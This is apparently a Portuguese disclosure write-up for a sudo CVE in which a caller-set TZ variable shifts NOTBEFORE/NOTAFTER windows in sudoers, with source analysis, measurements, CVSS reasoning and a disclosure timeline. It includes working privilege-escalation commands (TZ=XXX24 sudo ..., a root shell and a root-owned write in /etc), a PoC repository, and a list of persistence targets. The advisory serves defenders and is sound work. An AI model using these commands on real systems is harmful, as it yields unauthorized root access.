SudoTimeWarp é a CVE-2026-96512. Regras do sudoers com
NOTBEFORE=/NOTAFTER= cujo timestamp omite o
Z final são interpretadas como hora local e convertidas por mktime().
A mktime() da glibc relê getenv("TZ") a cada chamada. Como o
sudo é setuid-root e o environ atravessa o execve()
intacto, o chamador não privilegiado define o fuso em que a janela de validade dele é avaliada,
deslocando-a em até 24 h 59 m 59 s em cada sentido (intervalo total de 49 h 59 m 58 s). O
commit db669167c, de março de 2026, foi escrito para esse problema e corrige o
caminho localtime_r() — os timestamps de log. Não corrige o mktime()
de gentime.c:156, que é onde a decisão de autorização é tomada. A
CVE-2026-96512 registra exatamente essa correção incompleta: numa árvore que já contém o
db669167c, o deslocamento da janela continua integralmente reproduzível.
Corrigido em 1820a349 (2026-08-29); na data desta publicação, nenhuma release do
sudo contém essa correção.
Material educacional e defensivo. Não há embargo: a correção é pública desde 2026-08-29, a CVE desde 2026-09-23 e o anúncio na oss-security saiu em 2026-09-24. A reprodução descrita abaixo deve ser feita apenas em contêiner ou VM descartável, em sistemas próprios ou com autorização escrita.
Ficha técnica — CVE-2026-96512
Nome: SudoTimeWarp. ·
CNA: Red Hat, atuando como CNA-LR (CNA of last resort); o projeto
sudo não tem CNA própria. ·
CWE: CWE-863 (Incorrect Authorization) no registro oficial; o mecanismo é
CWE-807 (Reliance on Untrusted Inputs in a Security Decision). ·
CVSS v3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H — 7.8 High.
·
Afetado: sudo 1.8.20 até 1.9.17p2, e main antes de
1820a349. ·
Introduzido em: e5dee1557. ·
Publicação: 2026-09-23. ·
Crédito: este autor, como Ermenson Junior; pesquisa independente.
Reprodução mínima
O ambiente é uma instalação Debian com configuração padrão: env_reset no default,
PAM ativo, secure_path default, /etc/sudoers em
root:root 0440 e visudo -c limpo. O fuso do sistema está fixado em
UTC como controle do experimento. A política concede um comando ao usuário poc
dentro de uma janela que fechou 24 horas antes:
poc ALL=(ALL) NOTBEFORE=20260826221116 NOTAFTER=20260826231116 /usr/bin/id
Nas duas invocações abaixo a senha é exigida e fornecida corretamente, a regra está expirada e o comando é o mesmo. A única diferença está em uma variável de ambiente do processo do chamador:
$ sudo /usr/bin/id
[sudo] password for poc:
Sorry, user poc is not allowed to execute '/usr/bin/id' as root.
$ TZ=XXX24 sudo /usr/bin/id
[sudo] password for poc:
uid=0(root) gid=0(root) groups=0(root)
XXX é uma abreviação de fuso de três letras arbitrária e 24 é um
offset POSIX. Nenhum arquivo está envolvido e nenhum precisa existir. Não há condição de
corrida nem repetição: uma invocação, determinística. Com senha incorreta a segunda forma falha
na autenticação, o que delimita o alcance — o que se desloca é a decisão de autorização, não a
de autenticação.
TZ=XXX24 no próprio ambiente
environ do chamador intacto
Date_Spec sem Z toma o ramo de hora local
mktime()
relê
getenv("TZ") a cada chamada
lookup.c:269 —
comparação entre os dois valores
uid=0(root),
dentro do limite de 24 h 59 m 59 s
now vem do relógio do sistema. cs->notafter vem do
mktime() e está expresso no fuso que o chamador definiu. A comparação em
lookup.c:269 ocorre entre duas referências de tempo distintas.
Reprodução publicada
Os scripts usados acima estão publicados, com os controles que separam o bug de um erro de
parse. O poc.sh valida esses controles antes de emitir veredicto e sai com
0 quando a máquina está afetada, 1 quando não está e 2
quando o próprio setup não se sustenta — de modo que um falso positivo não passa por
confirmação.
git clone https://github.com/Ermensonx/sudotimewarp-cve-2026-96512-
cd sudotimewarp-cve-2026-96512-
docker build -t sudotimewarp . && docker run --rm -it sudotimewarp
A imagem instala o pacote sudo da própria distribuição e não compila nada, o que
mantém o resultado independente de um build local. O repositório traz também a versão em duas
partes — repro-admin.sh, que só faz o que um administrador legitimamente faz, e
repro-attacker.sh, que roda como usuário sem privilégio —, além dos cenários de
controle valid e expired-z.
Os três scripts reescrevem o /etc/sudoers. Eles fazem backup e restauram, e
recusam rodar fora de um contêiner sem --i-know, mas a execução deve ser feita
em contêiner ou VM descartável.
Date_Spec: a limitação temporal do
sudoers
O Date_Spec é o único mecanismo do sudoers para limitar uma concessão no tempo.
Foi introduzido pelo commit e5dee1557, com primeira release em 1.8.20 (2017), e é
escrito como NOTBEFORE= e NOTAFTER= dentro da regra. Os usos típicos
são três:
- Janela de manutenção: acesso amplo durante um intervalo definido, que deve caducar sozinho quando a janela fecha.
- Acesso emergencial (break-glass): concessão temporária durante um incidente, sem depender de remoção manual posterior.
- Terceiro ou plantão agendado: acesso durante a
vigência de um contrato ou de um turno. O
NOTBEFOREabre e oNOTAFTERfecha.
Nos três casos a regra é escrita para restringir. A pré-condição da vulnerabilidade, portanto,
não é uma configuração afrouxada: é uma restrição adicional que o administrador aplicou. Quem
nunca usou Date_Spec não é afetado.
A forma sem sufixo é documentada e testada
O timestamp admite duas formas. Com sufixo Z ou com offset explícito, é UTC e o
código toma um caminho independente de fuso. Sem nenhum dos dois, é hora local. O manual do
sudoers registra essa segunda forma como extensão suportada:
"As an extension, if no 'Z' or timezone offset is specified, local time will be used."
—docs/sudoers.man.in:1811, conferido no pin
2e18923c2
O valor 20151201235900, sem Z, é um dos quatro exemplos de
valid time stamps impressos pelo próprio manual (linha 1820). A mesma forma aparece no
corpus de regressão do projeto, em
plugins/sudoers/regress/testsudoers/test13.sh:
user1 ALL = NOTBEFORE=20151201235900 /usr/bin/id
A sintaxe afetada é documentada, exemplificada no manual e coberta por teste de regressão. Configurações escritas a partir da documentação usam a forma vulnerável por padrão.
Mecanismo: parse_gentime() e o ramo de hora
local
A conversão ocorre em parse_gentime(), em
plugins/sudoers/gentime.c. A função transforma os dígitos do
Date_Spec em um time_t e tem uma única bifurcação:
/* plugins/sudoers/gentime.c */
138: islocal = true; /* sem 'Z' e sem offset explícito */
...
155: if (islocal) {
156: result = mktime(&tm); /* a glibc relê getenv("TZ") aqui */
157: } else {
158: result = timegm(&tm); /* independente de fuso */
159: }
/* plugins/sudoers/gentime.c */
138: islocal = true; /* no 'Z' and no explicit offset */
...
155: if (islocal) {
156: result = mktime(&tm); /* glibc re-reads getenv("TZ") here */
157: } else {
158: result = timegm(&tm); /* time-zone independent */
159: }
A mktime() da glibc resolve o fuso local chamando __tzset(), que
executa tzset_internal(always=1). O argumento always=1 é o que separa
os dois caminhos: com ele a glibc relê getenv("TZ") a cada chamada, em vez de
aceitar o fuso já instalado no cache. O POSIX exige que mktime() se comporte como
se tivesse chamado tzset(), de modo que o comportamento não é específico da
glibc; foi confirmado também na musl.
O sudo é instalado com modo 04755 (src/Makefile.in:280).
No execve(), o environ do chamador atravessa a fronteira de
privilégio sem alteração, e o plugin sudoers.so roda no mesmo processo com euid 0.
O valor produzido por mktime(), já deslocado, é gravado em
cs->notbefore/cs->notafter e consumido pela decisão de
autorização:
/* plugins/sudoers/lookup.c:269-273 — sudoers_lookup_check(), caminho de autorização */
if (cs->notbefore != UNSPEC)
date_match = now < cs->notbefore ? DENY : ALLOW;
if (date_match != DENY && cs->notafter != UNSPEC)
date_match = now > cs->notafter ? DENY : ALLOW;
/* plugins/sudoers/lookup.c:269-273 — sudoers_lookup_check(), authorization path */
if (cs->notbefore != UNSPEC)
date_match = now < cs->notbefore ? DENY : ALLOW;
if (date_match != DENY && cs->notafter != UNSPEC)
date_match = now > cs->notafter ? DENY : ALLOW;
now é o instante real do sistema; cs->notafter está expresso no
fuso escolhido pelo chamador. O operando da direita é controlável a partir do ambiente de um
processo não privilegiado.
Delimitação: o ramo timegm()
Com o Z documentado no mesmo timestamp, o código toma o ramo
timegm() da linha 158 e o deslocamento é zero. Definir TZ também não
é, por si, a causa: TZ=UTC produz a mesma decisão que nenhum TZ. O
problema está restrito à extensão de hora local sem sufixo.
NOTAFTER=20260826231116
gentime.c:138 — há
Z ou offset explícito?
timegm()
gentime.c:158
— UTC, independente de fuso. Não afetado.
mktime()
gentime.c:156
— lê getenv("TZ"). Afetado.
Segundo consumidor: sudoers_lookup_pseudo()
A mesma comparação aparece em lookup.c:126-130, dentro de
sudoers_lookup_pseudo(), que atende sudo -l e sudo -v.
Ambos os caminhos leem cs->notbefore/cs->notafter já
convertidos por parse_gentime(), então o deslocamento é aplicado antes de qualquer
um deles. Com TZ definido, sudo -l lista uma regra expirada como
vigente. Esse comportamento também informa ao chamador o prazo exato da janela.
A correção anterior: db669167c
(2026-03-14)
Em 14 de março de 2026 o upstream aplicou o commit db669167c,
"sudo: ignore user-specified TZ environment variable". A mensagem cita
"the parsing of NOTBEFORE/NOTAFTER values in sudoers" como motivo. O reporte que
originou o commit foi feito privadamente ao mantenedor e está creditado nominalmente:
TZ influencia
NOTBEFORE/NOTAFTER — é atribuída a eles.
O commit acrescenta uma função em src/sudo.c:
/* src/sudo.c:345 — introduzido por db669167c */
static void
set_time_zone(void)
{
extern char **environ;
char **real_environ = environ;
char *empty[] = { NULL };
environ = empty;
(void) tzset(); /* TZ oculto para esta chamada */
environ = real_environ; /* environ restaurado em seguida */
}
/* src/sudo.c:345 — introduced by db669167c */
static void
set_time_zone(void)
{
extern char **environ;
char **real_environ = environ;
char *empty[] = { NULL };
environ = empty;
(void) tzset(); /* TZ hidden for this call */
environ = real_environ; /* environ restored right after */
}
Com o environ vazio, o tzset() instala o fuso do sistema no cache
interno da glibc; o environ é restaurado na linha seguinte. O commit não recebeu
CVE, advisory nem entrada em NEWS, e não aparece em nenhuma lista pública do
projeto: a varredura dos arquivos de sudo-workers, sudo-users e
sudo-announce (644 arquivos) não retorna ocorrências de TZ em 2025 ou
2026.
Por que db669167c não alcança o
mktime()
A causa está na diferença entre dois caminhos da glibc:
| Chamada | Caminho na glibc | Relê getenv("TZ")? |
|---|---|---|
mktime()gentime.c:156 — decisão de política |
__tzset() → tzset_internal(always=1) |
Sim, a cada chamada |
localtime_r()timestr.c:36 — timestamps de log |
__tz_convert() → tzset_internal(0) |
Não, usa o fuso em cache |
O set_time_zone() atua sobre o cache. Consumidores que leem o cache ficam
protegidos; consumidores que releem o ambiente, não. O localtime_r() do caminho de
log lê o cache; o mktime() da decisão de política relê o ambiente. O resultado é
que o commit protege os timestamps de log e não altera o comportamento da autorização.
Há um segundo efeito, e é ele que torna a proteção estruturalmente frágil: ao reler o
ambiente, o mktime() não apenas consulta o TZ do chamador — ele
reinstala esse fuso no cache da glibc. O valor que o set_time_zone() havia
gravado ali é sobrescrito na primeira conversão de um Date_Spec sem sufixo.
A ordem dos eventos em uma invocação afetada:
- 1.
src/sudo.c:165— oset_time_zone()roda com oenvironesvaziado e grava o fuso do sistema no cache da glibc. - 2. O
environdo chamador é restaurado na linha seguinte, com oTZdele intacto. - 3. O parse da política alcança
gentime.c:156. Omktime()relêgetenv("TZ"), obtém o valor do chamador e o reinstala no cache, sobrescrevendo o que o passo 1 havia gravado. - 4.
lookup.c:269compara onowreal com umcs->notafterjá deslocado. A decisão de autorização sai incorreta. - 5. Os
localtime_r()posteriores, emtimestr.c:36, leem o cache agora sobrescrito: o timestamp de log desloca junto.
O passo 5 é a razão pela qual a proteção do caminho de log, que o db669167c
entrega de fato, deixa de valer assim que existe na política uma regra Date_Spec
sem fuso. Sem essa regra, o passo 3 não ocorre e o cache permanece com o fuso do sistema.
O que db669167c corrige
O efeito do commit é verificável isoladamente, com uma sonda que usa apenas a libc, sem código do sudo (glibc 2.41):
TZ=XXX-24, bare tzset(): localtime_r -> 2020-01-02 00:00:00 +2400 timezone=-86400
TZ=XXX-24, set_time_zone(): localtime_r -> 2020-01-01 00:00:00 +0000 timezone=0
O mesmo se observa no sudo real, nos dois pins: sob TZ=XXX-24, o
v1.9.17p2 registra um evento de 27 de agosto como Aug 28, enquanto o
main registra Aug 27. O commit é, portanto, uma correção efetiva para
o caminho de log. A afirmação que se sustenta é mais estreita: ele não protege, e
estruturalmente não pode proteger, o mktime() de gentime.c:156.
Contra-exemplo: sudo_ldap_timefilter()
O equivalente para políticas em LDAP usa UTC explícito. O
sudo_ldap_timefilter(), que monta o filtro
sudoNotBefore/sudoNotAfter, é independente de fuso:
/* plugins/sudoers/ldap.c:490-509 — sudo_ldap_timefilter() */
gmtime_r(&now, &gmt); /* UTC, não hora local */
strftime(timebuffer, sizeof(timebuffer),
"%Y%m%d%H%M%S.0Z", &gmt); /* 'Z' explícito */
/* plugins/sudoers/ldap.c:490-509 — sudo_ldap_timefilter() */
gmtime_r(&now, &gmt); /* UTC, not local time */
strftime(timebuffer, sizeof(timebuffer),
"%Y%m%d%H%M%S.0Z", &gmt); /* explicit 'Z' */
É a mesma escolha do ramo timegm() em gentime.c:158. A exposição está
restrita ao ramo de hora local.
Limite da sanitização de ambiente do sudo
O sudo neutraliza variáveis de ambiente com sudo_unsetenv() sobre uma cópia
privada (env.c:531), somada à interposição dos símbolos
getenv/setenv/unsetenv
(src/env_hooks.c), de modo que bibliotecas ligadas ao processo — libldap em
ldap.c:1256 e :1612, libkrb5 via auth/pam.c:323 — leiam
a cópia do sudo.
O mecanismo funciona para bibliotecas externas e não alcança um consumidor interno da libc: a
glibc resolve getenv internamente e não passa pelo símbolo interposto. É por isso
que db669167c precisou manipular o ponteiro environ em vez de usar os
hooks, e é por isso que manipulá-lo em torno de uma única chamada não cobre o
mktime().
Em um processo setuid, qualquer função da libc que releia o ambiente a cada chamada constitui um canal de entrada que a interposição de símbolos não cobre. A distinção relevante em revisão de código é se a função consulta um cache ou relê o ambiente.
Medições
O procedimento busca o timestamp do sudoers em que a decisão inverte e re-amostra
now imediatamente antes de cada sonda, de modo que a deriva de relógio fique
limitada a uma invocação. O piso de ruído medido é de ±1 s.
Deslocamento por valor de TZ
Host com fuso de sistema em UTC.
Deslocamento da janela de validade, em segundos, por valor de TZ. Valores
positivos empurram o NOTAFTER para o futuro; negativos puxam o
NOTBEFORE para o passado.
TZ |
Deslocamento (s) | Em horas | Observação |
|---|---|---|---|
XXX1 |
+3 600 | +1 h | |
XXX12 |
+43 200 | +12 h | |
XXX24 |
+86 400 | +24 h | |
XXX25, XXX26, XXX48 |
+86 400 | +24 h | A glibc trava o campo de hora em 24 |
XXX24:59:59 |
+89 999 | +24 h 59 m 59 s | Máximo para frente |
XXX24:59:59YYY25:59:59,J1,J365 |
+89 999 | +24 h 59 m 59 s | Regra de DST não altera o limite |
EST5EDT |
+14 400 | +4 h | Nomes da tzdb também são aceitos |
XXX-24 |
−86 400 | −24 h | |
XXX-24:59:59 |
−89 999 | −24 h 59 m 59 s | Máximo para trás |
:…/Pacific/Kiritimati |
−50 400 | −14 h | Arquivo do sistema; carrega normalmente |
Intervalo total controlável: 179 998 s, ou 49 h 59 m 58 s. O NOTBEFORE se
desloca simetricamente. O campo de minutos e segundos do offset POSIX também opera no
sentido negativo, o que leva o máximo para trás de −86 400 s para −89 999 s.
Comparação entre as duas árvores
Mesma bateria, mesmo host e mesma configuração; a única variável é a árvore de código. De um
lado, main no pin 2e18923c2, que contém o db669167c. Do
outro, v1.9.17p2 no pin d1b48c651, que não contém.
Deslocamento medido nas duas árvores, por valor de TZ. Os valores coincidem em
todas as linhas.
TZ |
main @ 2e18923c2
(com db669167c) |
v1.9.17p2 @ d1b48c651
|
|---|---|---|
XXX1 |
+3 600 | +3 600 |
XXX12 |
+43 200 | +43 200 |
XXX24 |
+86 400 | +86 400 |
XXX24:59:59 |
+89 999 | +89 999 |
XXX-24:59:59 |
−89 999 | −89 999 |
:…/Pacific/Kiritimati |
−50 400 | −50 400 |
Os valores são iguais, não apenas próximos. O resultado se repete em quatro binários produzidos
de forma independente: main @ 2e18923c2, v1.9.17p2 @
d1b48c651, o pacote sudo 1.9.16p2 do Debian trixie — com a linha de
configure da distribuição, sem recompilação — e um build musl no Alpine 3.21. Há confirmação
cruzada adicional no Ubuntu 26.04 com glibc 2.43.
A presença do db669167c no binário foi verificada por
objdump -d, não apenas no código-fonte. Na imagem do main, a
troca de environ aparece inlinada em main():
mov __environ,%r14 / mov %rax,__environ /
call tzset@plt / mov %r14,__environ. No v1.9.17p2 e
no pacote Debian há apenas call tzset@plt, sem a troca.
Controles C1–C6
Um erro de parse produziria o mesmo ALLOW. Os controles abaixo isolam a causa:
| # | Condição | Esperado | Observado |
|---|---|---|---|
| C1 | NOTAFTER futuro, sem TZ |
ALLOW | ALLOW — a regra é funcional |
| C2 | NOTAFTER expirado, sem TZ
|
DENY | DENY — a negação vem do NOTAFTER |
| C3 | NOTAFTER expirado,
TZ=UTC |
DENY | DENY — definir TZ não é a causa |
| C4 | NOTAFTER expirado,
TZ=XXX24 |
DENY (comportamento esperado após o
db669167c) |
ALLOW — executou como root |
| C5 | NOTAFTER expirado, com Z
|
DENY | DENY — o ramo timegm() não é afetado
|
| C6 | NOTBEFORE futuro,
TZ=XXX-24 |
DENY | ALLOW — caso espelhado |
C5 delimita o escopo: com o Z documentado, o código toma o ramo
timegm() em gentime.c:158 e o deslocamento desaparece. C3 exclui a
hipótese de que a simples presença de TZ no ambiente altere a decisão.
Resultado negativo: a forma de arquivo
A variável TZ já originou uma CVE no sudo, a CVE-2014-9680, em que
TZ podia nomear um arquivo arbitrário. Foi corrigida no sudo 1.8.12 pela inclusão
de TZ no initial_checkenv_table[]
(plugins/sudoers/env.c:212), que filtra % e / antes de
repassar a variável ao comando executado. As duas situações são distintas, e a distinção é
medida:
| Forma | Deslocamento | Resultado |
|---|---|---|
TZ=:/usr/share/zoneinfo/Pacific/Kiritimati |
−50 400 s | Carregado; é arquivo do sistema |
TZ=:/tmp/evil.tz |
0 | Recusado |
TZ=:/home/poc/tz/evil.tz |
0 | Recusado |
TZDIR=/home/poc/tz TZ=:evil.tz |
0 | Recusado |
TZDIR=/home/poc/tz TZ=evil.tz |
0 | Recusado |
As quatro formas recusadas carregam normalmente para o mesmo usuário em um processo não
setuid, retornando +1400 cada uma, o que indica que o bloqueio vem do guard
__libc_enable_secure da glibc e não do fixture. O canal explorável é apenas a
string POSIX inline, que não depende de arquivo nem de acesso ao filesystem. A correção de 2014
permanece válida e não cobre este caminho, que atinge a decisão de política do próprio sudo
antes de qualquer comando existir.
Escopo por host
Regras restritas a um hostname não alteram o comportamento. Com a regra limitada a
sudo-lab.corp.example e sem NOPASSWD — autenticação por PAM com senha
correta —, uma janela NOTAFTER fechada há uma hora executa como root com
TZ=XXX4:05. As formas de host testadas (FQDN, forma curta, endereço IP, CIDR e
ALL) resultam em ALLOW; apenas um hostname inexistente nega, o que confirma que o
match de host está ativo. Ele é avaliado antes da verificação de data
(lookup.c:269) e determina se a janela é consultada, não como ela é interpretada.
Dependência do fuso do sistema
As medições anteriores fixam o /etc/localtime do host em UTC, o que faz o offset
do chamador coincidir com o deslocamento obtido. Em um host com outro fuso os dois não
coincidem. A relação é:
deslocamento = off_oeste(TZ do chamador) - off_oeste(fuso do sistema NO INSTANTE que os digitos denotam)
Como a glibc trava o campo de hora em 24, o intervalo alcançável é
[ -89 999 - off_sys , +89 999 - off_sys ]. A amplitude é constante em
49 h 59 m 58 s; o fuso do sistema define apenas a posição desse intervalo.
Intervalo alcançável em horas, por fuso do host. A amplitude é a mesma nos dois casos; o ponto inicial muda.
| Host UTC | Host America/Sao_Paulo (UTC−3) |
|
|---|---|---|
Máximo para frente (contra NOTAFTER) |
+24 h 59 m 59 s | +21 h 59 m 59 s |
Máximo para trás (contra NOTBEFORE) |
−24 h 59 m 59 s | −27 h 59 m 59 s |
As duas linhas foram medidas sem deriva: valor pedido −100 799 s, valor obtido −100 799 s, resíduo 0 s.
Consequência por região
Em hosts a oeste de UTC, o alcance para trás contra o NOTBEFORE passa de
24 h. Uma janela que abre daqui a 24 horas é alcançável no momento presente com
TZ=XXX-24:59:59. Hosts a leste de UTC obtêm o mesmo acréscimo no sentido
oposto, contra o NOTAFTER. Um laboratório fixado em UTC não expõe esse
caso, porque nele o alcance para trás é exatamente 24 h 59 m 59 s.
O off_sys precisa ser avaliado no instante que os dígitos denotam, não em
now. Em zonas com horário de verão os dois valores diferem em 3 600 s sempre
que a janela cai do outro lado da transição, o que é da mesma ordem de grandeza de uma
janela curta de manutenção. Verificado contra Europe/Berlin: uma janela de
fevereiro avaliada em setembro resulta em −3 600 s em vez de −7 200 s a oeste.
Composição do primitivo
O primitivo é a reativação de uma regra do sudoers fora da janela de validade pretendida, acionada por uma variável de ambiente definida na invocação. Ele não cria privilégio: restaura uma concessão que já existia. O teto de impacto é, portanto, o valor dessa concessão.
| O que a regra reativada concede | Resultado para o chamador |
|---|---|
(ALL) ALL |
Comando arbitrário como root; nenhum salto adicional é necessário |
Binário com escape de shell (vi,
less, find, awk, tar,
python, systemctl, apt) |
Shell root pelo escape do próprio binário, sem envolver o sudo |
sudoedit |
Escrita mediada por root no arquivo concedido |
Comando não escapável (id,
uptime) |
Apenas aquele comando como root. A composição termina aqui |
Hop 1 — regra ampla expirada sobre concessão estreita permanente
É a configuração que motiva o uso do NOTAFTER: concessão ampla por uma janela
(manutenção, break-glass, terceiro, plantão), com uma concessão estreita permanente por baixo.
O sudoers resolve por último-match-vence, então a regra datada e ampla é escrita depois da
estreita:
poc ALL=(ALL) NOPASSWD: /usr/bin/id # permanente, estreita
poc ALL=(ALL) NOTAFTER=<1 h atras> NOPASSWD: ALL # ampla, expirada
Com os controles executados antes, para que o DENY tenha significado:
=== controles — a regra ampla expirada deve estar inerte ===
ok C1 no TZ /usr/bin/id ALLOW a concessao permanente funciona
ok C2 no TZ /bin/sh DENY a regra expirada esta inerte
ok C3 no TZ /usr/bin/tee DENY segunda testemunha
=== A1 ===
$ TZ=XXX24 sudo -n /bin/sh -c 'id -u'
0
uid=0 euid=0 -> ALLOW
=== A2 — root efetivo, nao apenas uid reportado ===
$ TZ=XXX24 sudo -n /usr/bin/tee /etc/chain-proof
created: root:root 644 PROOF-1787871254 -> ALLOW
NOPASSWD: /usr/bin/id
NOTAFTER=<-1h> NOPASSWD: ALL
TZ=XXX24 sudo -n /bin/sh -c 'id -u'
uma variável de ambiente; sem
arquivo, sem corrida, sem compilação
/etc/sudoers, /etc/cron.d,
/etc/ld.so.preload, chave autorizada para root
Um usuário cuja concessão permanente é /usr/bin/id alcança execução arbitrária
como root e escrita de arquivo root:root em /etc com uma variável de
ambiente. A composição encerra no primeiro salto.
Hop 2 — deslocamento do timestamp de log
O plugins/sudoers/timestr.c:36 registra via localtime_r(). No
v1.9.17p2 o TZ do chamador desloca a hora registrada de forma
incondicional. No main, o db669167c protege esse caminho até que
exista na política uma regra Date_Spec sem fuso: o mktime() dessa
regra reescreve o cache de fuso da glibc e o log volta a deslocar.
v1.9.17p2 (sem a correcao) Aug 28 22:28:41 : poc : ... COMMAND=/usr/bin/true <- +24 h
main @ 2e18923c2 (com ela) Aug 27 22:28:41 : poc : ... COMMAND=/usr/bin/true <- correto
main @ 2e18923c2, TZ=XXX24, sistema Aug 27 22:28:59 -> logado Aug 26 22:28:59
A mesma variável concede o acesso e desloca a data do registro correspondente, em até ~25 horas, sob a mesma pré-condição. O registro de auditoria fica incorreto exatamente no intervalo em que o evento ocorreu.
Hop 3 — cache de credenciais: refutado
O sudo grava um registro de timestamp após autenticação bem-sucedida. Se esse registro
curto-circuitasse a autorização além da autenticação, uma passagem pelo bug daria acesso
continuado à regra expirada sem TZ. A bateria abaixo roda sob
timestamp_type=global, o tipo de ticket mais permissivo, de modo que um resultado
negativo vale também para o default vinculado ao tty:
T1 regra valida, senha correta ALLOW ticket estabelecido
T2 regra valida, so o ticket (-n) ALLOW o ticket funciona
T3 regra EXPIRADA, ticket fresco, sem TZ DENY <-- hipotese refutada
T4 regra EXPIRADA, TZ=XXX24 + senha ALLOW o bug ainda dispara
T5 regra expirada ha 4 DIAS, TZ=XXX24 DENY
T5 regra expirada ha 4 DIAS, TZ=XXX24:59:59 DENY <-- limite de ~25 h confirmado
T3 mostra que o ticket armazena apenas o resultado da autenticação. O date_match é
recomputado em sudoers_lookup_check() a cada invocação, de modo que uma regra
expirada permanece expirada independentemente do estado do cache. T5 confirma o limite: quatro
dias após o vencimento, os dois valores máximos de TZ negam.
O limite de ~25 h aplica-se à janela de acesso, não à duração do impacto. O hop 1 entrega execução arbitrária como root, o que é suficiente para estabelecer persistência independente da janela.
Saltos não reproduzidos
- Alcançar regra concedida a outro usuário. O
deslocamento é aplicado em
parse_gentime()a todoDate_Specda política, mas a regra ainda precisa casar usuário, host, runas e comando. OTZaltera quando uma regra é válida, não para quem ela vale. - Escalar concessão estreita não escapável. Se a
única regra datada concede
/usr/bin/uptime, o resultado éuptimecomo root. Este é o limite de severidade do achado. - Antecipar revogação agendada
(
NOTBEFOREem regra de negação): alcançável, mas remove o acesso do próprio chamador. - Forma de arquivo como primitivo de leitura:
recusada pelo
__libc_enable_secure, com deslocamento medido de 0 s.
Limites, severidade e vetor CVSS
PR:L e não PR:N.
Date_Spec
pré-existente, concedida ao chamador, com timestamp sem Z e sem offset
explícito.
Vetor CVSS
O vetor abaixo foi proposto no pedido de CVE e adotado pela Red Hat sem alteração.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (7.8 High)
AV:L requer shell no host; o sudo nao e alcancavel pela rede
AC:L sem corrida e sem repeticao, deterministico em uma invocacao. O `sudo -l` imprime o
Date_Spec ao chamador, que le o prazo exato na propria politica.
PR:L conta local COM entrada em sudoers; usuario comum, nao administrador.
UI:N nenhuma acao de outro usuario esta envolvida
S:U o impacto e root no mesmo host, dentro da autoridade de seguranca do proprio SO.
O sudo e o componente que arbitra essa fronteira, entao subverte-lo nao alcanca uma
segunda autoridade. Consistente com a CVE-2021-3156, pontuada 7.8 com S:U.
C:H demonstrado: comando arbitrario como root (hop 1)
I:H demonstrado: arquivo root:root escrito em /etc por chamador sem privilegio
A:H o mesmo primitivo alcanca qualquer caminho gravavel por root
Sobre a classificação: não é CWE-20, porque a entrada não é malformada — XXX24 é
uma string POSIX de TZ bem formada, analisada corretamente e depois honrada.
Também não é CWE-862, porque a verificação de autorização está presente e é apenas avaliada
contra uma referência de tempo incorreta. O registro oficial usa CWE-863 (Incorrect
Authorization); o mecanismo corresponde a CWE-807 (Reliance on Untrusted Inputs in a Security
Decision).
Variação da severidade conforme a configuração
O vetor 7.8 pontua a configuração em que a regra datada é mais ampla que a concessão permanente do usuário. Duas leituras alternativas são defensáveis:
| Leitura | Nota | Base |
|---|---|---|
AC:H em vez de AC:L: a
janela de ~25 h como condição fora do controle do chamador |
7.0 | Leitura defensável. O AC:L foi adotado
porque o sudo -l expõe o prazo ao chamador. |
| Regra datada estreita e não escapável | ≈ 3.3 | O impacto reduz-se a C:L/I:N/A:N. É o
limite inferior do achado. |
PR:H |
— | Não se aplica: a exploração parte de um usuário comum com uma linha em sudoers. |
Enunciado do impacto: o único mecanismo que o sudoers oferece para limitar uma concessão no tempo pode ser neutralizado pelo usuário que ele restringe. Quando a concessão temporária é mais ampla que o acesso permanente do usuário, o resultado é escalada local a execução arbitrária como root, demonstrada. Quando a concessão datada é estreita e não escapável, o impacto fica limitado a ela.
Cronologia da divulgação
2017 — e5dee1557
Suporte a Date_Spec, com release em 1.8.20. O
ramo islocal → mktime() existe desde então.
até 2026-03 — reporte de terceiros
XlabAI Team / Tencent Xuanwu Lab e Atuin (Guannan Wang,
Zhanpeng Liu, Guancheng Li) reportam privadamente que TZ influencia
NOTBEFORE/NOTAFTER.
2026-03-14 — db669167c
"sudo: ignore user-specified TZ environment
variable". Cita NOTBEFORE/NOTAFTER e credita os
reporters. Sem CVE, advisory ou entrada em NEWS. Corrige o caminho
localtime_r().
2026-08-28 — reporte
Reportei ao mantenedor, com os dois scripts de reprodução em anexo, sem CC, sem issue pública e sem prazo.
2026-08-28 — patch candidato
Resposta no mesmo dia com 3df938eb2,
"Remove TZ from sudo's working environment without modifying envp". A
mensagem registra que a mudança anterior "was not effective since the mktime()
function re-reads the TZ environment variable each time it is called".
2026-08-29 — 1820a349
O candidato passa pela mesma bateria (regressão,
TZ duplicado, caminho de log, envp vazio, tempo de vida
do GC). No mesmo dia o commit público 1820a349 entra em
src/sudo.c, com +24/−7, idêntico ao medido.
2026-08-31 — re-medição
Re-medi contra o main corrigido: deslocamento de
0 s em todas as TZ testadas e sete classes de bypass em DENY.
2026-09-21 — pedido de CVE
Encaminhei o pedido à Red Hat Product Security. A Red Hat é CNA-LR e Root no programa CVE, e o projeto sudo não tem CNA própria.
2026-09-23 / 24 — publicação
CVE-2026-96512 publicada, CNA Red Hat, com o vetor CVSS adotado sem alteração. No dia seguinte: post na oss-security, RHSA-2026:71609 (apenas Red Hat Hardened Images) e PR #566451 do NixOS mergeado.
Duas observações sobre a leitura dessa cronologia. A ausência de entrada no
NEWS não indica correção deliberadamente omitida: neste projeto o
NEWS é escrito em commits de lote separados, e desde o último lote
(20a8d27ea, 2026-01-16) entraram 110 commits no main sem que
nenhum tocasse o arquivo. E o intervalo até a atribuição da CVE acompanha o ciclo de
release do projeto, em que CVE e release são publicadas juntas; o 1.9.18 teve
rc1 em janeiro de 2026 e ainda não saiu.
Situação atual e mitigação
Nenhuma release do sudo contém a correção. Verificado em 2026-09-25 por
git ls-remote --tags: a tag mais recente é v1.9.17p2, de
25 de julho de 2025. A CVE é pública e o patch está disponível desde agosto, mas não há
release que o inclua.
| Distribuição | Estado em 2026-09-25 |
|---|---|
| Red Hat | RHSA-2026:71609 (2026-09-24),
sudo-1.9.17-16.p2.2.hum1, restrito a Red Hat Hardened Images. RHEL
7–10 e RHIVOS com análise por stream pendente na publicação |
| Ubuntu | "Needs evaluation" em todas as releases listadas, de 14.04 a 26.04 LTS. Nenhuma versão corrigida publicada. Prioridade Medium |
| NixOS | PR #566451 aberto e mergeado em 2026-09-24, em
staging |
| sudo.ws | Sem advisory para esta CVE. O mais recente na página do projeto continua sendo o da CVE-2025-32463, de 2025-06-30 |
Auditoria de configuração
